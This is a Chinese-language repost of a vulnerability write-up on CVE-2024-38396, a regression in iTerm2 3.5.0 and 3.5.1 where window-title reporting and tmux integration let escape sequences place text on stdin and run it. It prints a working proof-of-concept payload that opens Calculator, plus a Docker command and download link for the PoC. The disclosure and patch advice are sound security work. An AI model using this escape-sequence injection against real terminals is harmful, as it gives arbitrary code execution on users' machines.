回归变成了 RCE
我在这里跳过了对转义序列的介绍,因为我最近在上一篇文章中对它们进行了更详细的介绍。从安全角度来看,它们对于终端仿真器的作用就如同 XSS 对于浏览器的作用一样。
这篇文章是关于一个由于回归而导致的新错误,该错误仅影响 iTerm2 3.5.0 和 3.5.1(分别于 5 月 20 日和 6 月 11 日发布)。
在 3.5.0 之前的版本中,窗口标题报告被禁用。因此,您不能只使用以下命令检索终端窗口的标题并将其放入 中stdin。
echo -e "e]21t"
注:David Leadbeater 也独立注意到了这种回归,并在此处进行了报告:https://www.openwall.com/lists/oss-security/2024/06/15/1
窗口标题报告有什么问题?
Ps 2转义序列允许设置窗口标题。
一个例子:
echo -e "�33]0;This is the window title a"
CSI Ps 21 t可用于检索该标题并将其放入,stdin如上所示。这使得利用变得非常容易,因为此时,用户只需按下 Enter 键,该标题中的任意代码就会顺利执行。
默认禁用标题报告的补丁:f1e89f78
https://gitlab.com/gnachman/iterm2/-/commit/f1e89f78dd72dcac3ba66d3d6f93db3f7f649219
Tmux 集成使情况变得更糟
iTerm2 中的原生 tmux 集成(默认启用)存在一个弱点,它允许偷偷报告标题,并且还提供了在报告标题后发送换行符的方法。
补丁:fc60236a
https://gitlab.com/gnachman/iterm2/-/commit/fc60236a914d63fb70a5c632e211203a4f1bd4dd
我可以得到那个甜蜜的 PoC 吗?
自己尝试一下:
docker run --rm vin01/escape-seq-test:cve-2024-38396
或者
cat poc-iterm2-rce.txt
下载poc-iterm2-rce.txt
https://vin01.github.io/piptagole/assets/poc-iterm2-rce.txt
该文件包含此有效负载�33]2;s&open -aCalculator&a�33[21t x1bP1000p%session-changed s,它设置s&open -aCalculator&为窗口标题,然后检索它以执行并弹出计算器。
源代码:https://github.com/vin01/poc-cve-2024-38396
报告后 2 天内发布修复
升级到 iTerm2 3.5.2:https://iterm2.com/downloads.html
在 iTerm2 中启用设置之前请三思Terminal may report window title。它可能不值得冒安全风险,因为它允许任意文本最终出现,stdin这绝不是一个好主意。
https://vin01.github.io/piptagole/escape-sequences/iterm2/rce/2024/06/16/iterm2-rce-window-title-tmux-integration.html
原文始发于微信公众号(Ots安全):滥用 iTerm2 中的标题报告和 tmux 集成来执行代码
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论